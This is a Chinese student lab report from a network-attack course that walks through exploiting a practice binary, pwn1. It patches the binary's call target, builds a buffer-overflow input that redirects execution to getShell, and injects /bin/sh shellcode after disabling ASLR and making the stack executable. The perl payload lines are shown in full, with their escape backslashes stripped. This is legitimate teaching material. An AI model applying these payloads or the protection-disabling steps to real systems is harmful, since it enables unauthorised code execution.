zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175316盛茂淞《网络对抗技术》Exp1 PC平台逆向破解

    2019-2020-2 20175316盛茂淞《网络对抗技术》Exp1 PC平台逆向破解

    一、实践目的

    • 本次实践的对象是一个名为pwn1的linux可执行文件。

    • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    二、实践要求

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    • 注入一个自己制作的shellcode并运行这段shellcode。

      这几种思路,基本代表现实情况中的攻击目标:

      • 运行原本不可访问的代码片段

      • 强行修改程序执行流

      • 以及注入运行任意代码。

    三、相关知识点

    1.反汇编指令

    objdump -d pwn1 | more
    object dump 项目导出
    -d disassemble 反汇编
    | 管道符,把一个命令的标准输出传到另一个命令的标准输入中
    more 分页显示

    2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP汇编指令的机器码是“90”
    JNE汇编指令的机器码是“75”
    JE 汇编指令的机器码是“74”
    JMP汇编指令的机器码是“eb”
    CMP汇编指令的机器码是“39”
    

    3.掌握反汇编与十六进制编程器

    反汇编指令objdump -d filename

    object dump 项目导出
    d disassemble 反汇编
    |管道符,把一个命令的标准输出传到另一个命令的标准输入中
    more 分页显示

    • 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
      • 输入命令vi pwn1查看可执行文件内容,为ASCII码形式显示;
      • 输入:%!xxd将显示模式切换为16进制模式;
      • 进行相关操作后,输入:%!xxd -r转换16进制为为ASCII码形式。

    四、实践内容

    (一)任务一 直接修改程序机器指令,改变程序执行流程

    思路

    • 找到getShell函数的位置
    • 修改main函数中,call指令的参数,使得程序调用getShell函数

    步骤

    • 下载目标文件pwn1,使用objdump -d pwn1对pwn1反汇编:

    • 主函数中call 8048491 <foo>的汇编指令将调用位于地址8048491处的foo函数,其对应机器指令为e8 d7ffffffe8为跳转之意。当解释执行e8这条指令时,CPU就会执行EIP + d7ffffff这个位置的指令。d7ffffff是补码,80484ba +d7ffffff= 80484ba-0x29是8048491的值

    • main函数调用foo,对应机器指令为e8 d7ffffff

      • 那如果要修改后让它调用getShell,只要修改d7ffffffgetShell-80484ba对应的补码就可以
      • 通过计算804847d-80484ba得到补码为c3ffffff
    • 由此我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff以实现改变程序执行流程

      • 所以我们使用Esc+:%!xxd将其转换为16进制显示出来,/d7ff查找所需更改处,回车选中d,使用r修改,即rc+r3,:%!xxd -r将文件再次转换为机器代码,如果不这么做会导致无法运行,然后Esc+:wq保存退出。

    • 运行pwn2,发现会得到shell提示符,证明我们的修改成功改变了程序执行流程

    (二)任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    • 首先依旧是反汇编pwn1,可见运行时调用如下foo函数,有Buffer overflow漏洞,其指令lea只为用户预留了1c=28个字节,如果超出则会造成溢出,覆盖返回地址

    • 我们使用gdb进行调试确定输入字符串到哪里时会覆盖到返回地址:

    • 使用gdb调试pwn1,使程序发生段错误,使用info r查看寄存器的值

    • 此时eip的值为0x35353535,35的ASCII码表对应为5,所以我们将所有的5改为12345678,确认具体是哪一位之后造成溢出:

    • 可见是4321,并知道存储方式为小端模式,所以我们只要把1234替换为getShell的内存地址,在运行pwn1时输入,我们就可以实现改变程序执行流

    • getshell的内存地址为0804847d,因为是小端模式,所以我们应输入11111111222222223333333344444444x7dx84x04x08,perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input使输出重定向>将perl生成的字符串存储到文件input中。

    • 执行后使用16进制查看指令xxd input查看input文件的内容是否如预期。

    • 然后使用(cat input; cat) | ./pwn1将input的输入,通过管道符“|”,作为pwn1的输入。

    • 经测试程序已经调用了getShell函数,达到了改变程序执行流的目的

    (三)任务三:注入一个自己制作的shellcode并运行这段shellcode。

    1. 准备shellcode

    • shellcode就是一段机器指令(code)
    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
    • 和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是自己编写的,可以实现任何功能。

    2. 攻击思路

    • 攻击思路还是利用缓冲区溢出
    • 同理还是使若输入的字符串第33、34、35、36这四个字节覆盖EIP的值,即返回地址
    • 返回地址不再是修改为getshell的地址,而是shellcode的地址
    • 确定shellcode的位置,一般放在EIP之后
    • 构造字符串,使第33、34、35、36这四个字节指向shellcode的起始地址
    • 在shellcode前加入0x90 0x90这样的空指令NOPS,因为不知道shellcode的起始地址,这种布局模式称为RNS(return nops shellcode)模式

    3. 构造要注入的payload

    • Linux下有两种基本构造攻击buf的方法:
      • retaddr+nop+shellcode(一般来说使用RNS的形式)
      • nop+shellcode+retaddr(约束shellcode的大小)
    • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
    • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    4. 实验步骤

    • 设置堆栈可执行
    execstack -s pwn1_20175316 //设置堆栈可执行
    execstack -q pwn1_20175316 //查询文件的堆栈是否可执行
    
    • 关闭地址随机化(若文件权限不够,则输入sudo -s),2为开启,0为关闭
    more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭
    echo "0" /proc/sys/kernel/randomize_va_space             //关闭随机化
    

    • 注入一段代码,我们首先构造一个input_shellcode
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    
    • 使用xxd input_shellcode查看文件内容

    • 通过管道符|,作为pwn1的输入,格式为(cat input_shellcode; cat ) | ./pwn1_20175316

    • 在另外一个窗口ps -ef | grep pwn1_20175316能看见当前运行pwn1的进程号为2662;

    • 启用gdb调试进程,输入attach 2662动态调试当前进程号进程

    • 使用disassemble foo反编译

    • 可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

    • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来

    • 再在gdb调试的终端输入c继续运行程序

    • info r esp查看esp寄存器地址

    • x/16x 0xffffd36c以16进制形式查看0xffffd36c地址后面16字节的内容

    • 0xffffd36c存放的数据是01020304,那么shellcode地址就是0xffffd370

    • 修改input_shellcode文件对应代码为:

    perl -e 'print "A" x 32;print "x70xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    
    • 然后使用(cat input_shellcode;cat) | ./pwn1_20175316将input_shellcode的输入,通过管道符“|”,作为pwn1的输入。
    • 经检验实现了shell功能:

    过程中遇到的问题


    原因:注入地址不对
    应为perl -e 'print "A" x 32;print "x70xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    实践总结

    什么是漏洞?漏洞有什么危害?

    漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
    漏洞会影响到的范围很大,包括系统本身及其支撑软件,网络客户和服务器软件,网络路由器和安全防火墙等。换而言之,在这些不同的软硬件设备中都可能存在不同的安全漏洞问题。在不同种类的软、硬件设备,同种设备的不同版本之间,由不同设备构成的不同系统之间,以及同种系统在不同的设置条件下,都会存在各自不同的安全漏洞问题。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。

    心得体会

    通过三个小实验以及刘老师课上的讲解,对缓冲区溢出攻击有了更多的了解。听老师讲和自己做还是存在差别,实验中遇到的问题也通过同学的帮助或者百度解决。以后还要通过更多的实践操作巩固所学。
    通过这次实验,我了解了PC平台逆向破解技术,掌握了函数调用栈帧结构、缓冲区溢出攻击技术和shellcode攻击技术,这些技术其实都挺好玩的,学习起来也充满乐趣。本次实验虽然比较简单,但是过程也出现了很多问题,比如之前共享文件夹的设置没有完全成功,折腾了一番才找到共享文件夹...没有安装32位兼容器的问题也耗费了很多时间来查找...我特别感谢刘老师和帮助我解决问题的给我同学,让我的实验少花费了更多时间,我之前的学习模式更偏向自己在网上找答案,如果网上解释的不详细或不正确,会造成很大的麻烦(这次的upgrade就让我的kali蓝屏了...差点自闭),现在我发现了询问老师同学会更快更方便~

  • 相关阅读:
    面试经验
    二叉树和递归
    优先队列
    队列问题
    书法学习资料
    栈的问题
    Git常用命令
    字母大小写转换
    深入类中的方法[8] - 抽象方法与抽象类
    深入类中的方法[7] - 关于 inherited
  • 原文地址:https://www.cnblogs.com/sms369/p/12465850.html
Copyright © 2011-2022 走看看